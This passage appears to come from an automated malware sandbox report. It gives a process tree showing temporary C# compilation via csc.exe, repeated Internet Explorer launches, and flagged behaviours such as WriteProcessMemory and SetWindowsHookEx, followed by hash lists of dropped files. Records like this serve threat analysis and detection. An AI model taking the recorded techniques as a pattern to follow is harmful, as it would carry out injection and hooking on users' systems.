C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2FA4.tmp" "c:\Users\Admin\AppData\Local\Temp\ghia3nh3\CSC27BEC1645D2B4DB4B060ACD19CF88B1.TMP"7⤵PID:4764
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\15u10d5z\15u10d5z.cmdline"6⤵
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES312A.tmp" "c:\Users\Admin\AppData\Local\Temp\15u10d5z\CSCF125F687492A430B9A63A17B8B80657.TMP"7⤵PID:3232
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵PID:4572
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:17410 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4636 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82950 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2500 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82954 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:856 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82958 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3212 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82962 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4152 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82966 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1148 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82970 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2448 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:17412 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4460 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:17414 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3216 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82978 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3616 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:82982 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2372
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4104 -ip 41041⤵PID:388
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
54e9306f95f32e50ccd58af19753d929
SHA1eab9457321f34d4dcf7d4a0ac83edc9131bf7c57
SHA25645f94dceb18a8f738a26da09ce4558995a4fe02b971882e8116fc9b59813bb72
SHA5128711a4d866f21cdf4d4e6131ec4cfaf6821d0d22b90946be8b5a09ab868af0270a89bc326f03b858f0361a83c11a1531b894dfd1945e4812ba429a7558791f4f
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
MD56433da6e116e23f2c4388dbc6893ba6c
SHA1fcdb3be2a097789a35caef8f27cd7493e29fb396
SHA25656227dccdbfa7c45e927438f5f5754b60ed0bdc368d8285c4740753a31305985
SHA512d3c1774d78446a1389d502f6c84ca386be3ff8e68aa24a6a29488a3e7675a810a416c9820843045adc7b200a9612d42cfb739682233ae4e95ca611a47050d05a
-
MD5
d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
MD5
06cc70d0cfe0ddc293afb580402104e3
SHA1a0b28ea12c39b2d0b1a45aeaf81f4bcee851b3db
SHA25656fdf8ee0e5aa100d91e6d2bbd0c4d2e9a8265e130f474fdf7b41cc8640a39c1
SHA51262988ebadb3b88d4bec0a3b4086ecd0b5ff5f76f894978f972b1b4b0996dea2b0b7e33a9244c6abf1acfa4c99d3a9534b29c7f206d3e5157f91a77f0a4a3c22a
-
MD5
a976d227e5d1dcf62f5f7e623211dd1b
SHA1a2a9dc1abdd3d888484678663928cb024c359ee6
SHA25666332859bd8e3441a019e073a318b62a47014ba244121301034b510dc7532271
SHA5126754d545f2ce095cfa1fa7ca9e3223f89e37726ee7e541ebcf3e209e18b2602f3be8677598cb30d697327a63de032c11dbf8ef7ad7889a79c488a21044c1cb3f
-
MD5
a6c9d692ed2826ecb12c09356e69cc09
SHA1def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA5122f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
-
MD5
56eed407989b43f7fc53e2e7a47ab967
SHA1a5c6b2f493199a08fabee50e6d588773952148f0
SHA256efee8d1f6796868b832708e0b20a86e65736958419f2f7bbc97eb5d93346c6d3
SHA512c15dfa9eb19eb2f7859043956f68f231c173c752409150f76fc0555cec11faf77aca175207ece0cad37767d72bd92af1969aba39f7be7c8df2fe0521bb426e64
-
MD5
116861649741ab5ee8953c95836aa55f
SHA1c299529e1007f6f720196e447ae065244578cf28
SHA256843dad148fdf4eb0e238b3da0c77c43a321c60db3bc0a497b27ae0dd1bc9f8d9
SHA51229ed2eff6d0e6f9eddc94619e83e69f2eef103b34fead7fe57e63f1979f8108a8f0fc7ccd02c104e25020364fc41114f9c9b5cc52e542934f0aaa5134994e3c6
-
MD5
28ad96b363c407deccbc2accde3005a1
SHA1e44402e1a888c864697e2aaaad77403e1ed8faa0
SHA2566bbabc629b56271ea17b81655be5a6797d1fac265004887002e0998542702be8
SHA512cada852fe6b6cd66e3fa8fbad6b6a393cf0a2e73a0d9b3b8c280cb3c33e9723334c483af3800a3a21d77a185bb5e54e4230071fc4f3636b6eb04d09f77a31eaa
-
MD5
83ab356e22e539208e002146438cc00f
SHA1700b19780616385c7b44c544ee3028dc5c435c30
SHA256ea0fd02c5ae345916969ae7bf2b98ee39977ce634dff92a31a338d56bf350550
SHA51272d5fbae9c84943959394a83dc325b49a54571808d5241784738c979d8b6a6602e80a92a3890ed558a76d66fc59c08460a79e3fceb79952c8bab8e4eea7643d9
-
MD5
ab820512bcc23272f20e3e6acbb6a109
SHA13a4df0c01dabc15c513396ec0e249f6028a6dfef
SHA25607ab18ec29ddef7ae4819ecc20a5e3a2cf07e2d5342b88ea332bca9b650af6e3
SHA512f4b1bb948100f1cb60c0ef344b1de82864ffeb8592d8e201964c0f351277102e7b41cbdbce561d812a1d32108b4d1abfd3d4daeec994679deedb5a4504eeef1c
-
MD5
697f16b8c6892082559d8a17db343865
SHA1246d6ba1419478be7915e78b61525da894321fb9
SHA256518ab091348dea4f49183958185b3d42b5ddb191007bab25b6e69ff6ec923f1f
SHA512801a428c5dd5ff4a745923914505dcf5a9929b3dbfc5bb5f6320996ad849fa42dc75ac53a432dd01103e0d6db2269583351f14b189a76a066d6f940ff79d38d6
-
MD5
f8ae56a095376eb80a636d564308422f
SHA16086a5df68ba0469ec689cdd2bebd0583605c861
SHA256fcad36328c8120d1499b691218f4648e04620f689dd9dd68c1bf30bea004e156
SHA5122595a8c41bc692779d9d658e30ca22aa6ead8c4c3d34b68c9eb7e1d0478f4f2880af4aed745a393b2e60faa1bf391f48437f3dc63ef96982c7b546cdd1c72a89
-
MD5
ccd592f6efece8859db195c81f852a00
SHA1ba5d05bf1149d7efbb7246434a68a17aafa98920
SHA2563d65fdbbd64f8acdef43152eb270252e61c968064e42e5920dc49e7cf6ea5772
SHA5121f9f7ceaca8429b16f5eedcca43e3c69204e5c53c4af50e819ac6beef9964f9ed162f38b7c75bd955b4f696f60f3356f6a6606d3a62ddbef93406e21c1449a0a
-
MD5
5681486182205dbfa2f7e4efae349e53
SHA1e023b20452744323d5730e7df6347bd492bbceb8
SHA256bc643365bd00647890e34534d3e91f05f891a4e870c6ed9606df8ba29c2396a1
SHA512599713f5052968785cb36f8b245c2f1cd94f91422b96cd845152c98fd2cb0a22c1d9de20d4410ab2f80096c6f5270e1ffb0a4e26b961ad025f14d906b9250c3e
-
MD5
7fceb996f934e8bda687cdd2bd46a9a7
SHA181e1edbcca6438daaccc3845fa0e3b1a6cff17a6
SHA256fa53f8174510a9ad008973d47798f022b681e1764a15134efd2004980f23bb6e
SHA5126aa6253527b72c0605859180887ff19cd96412cb816ec02e832d4a0e0cbcd03d9cc580112e4e2055d4a9ede850c1a339df974371f992b0b9b73e54e137610205
-
MD5
f482e58085e5a042c0f7e6b4df01406f
SHA1aa11735f9ae740c6d46bcf58534dc0ab69fa415c
SHA256f55fbb36261bf5e25b4d390f31a5c27d383772c2e94b30482fb579f08b500a61
SHA5123191bae0b1f390ef29d69196d73bfb92713599f389d87cc284b856a27e6ac176bf59c5509da6f08e25be5a82f680630eaaaf0fcf64dc1aa8626d3aff4e7ae953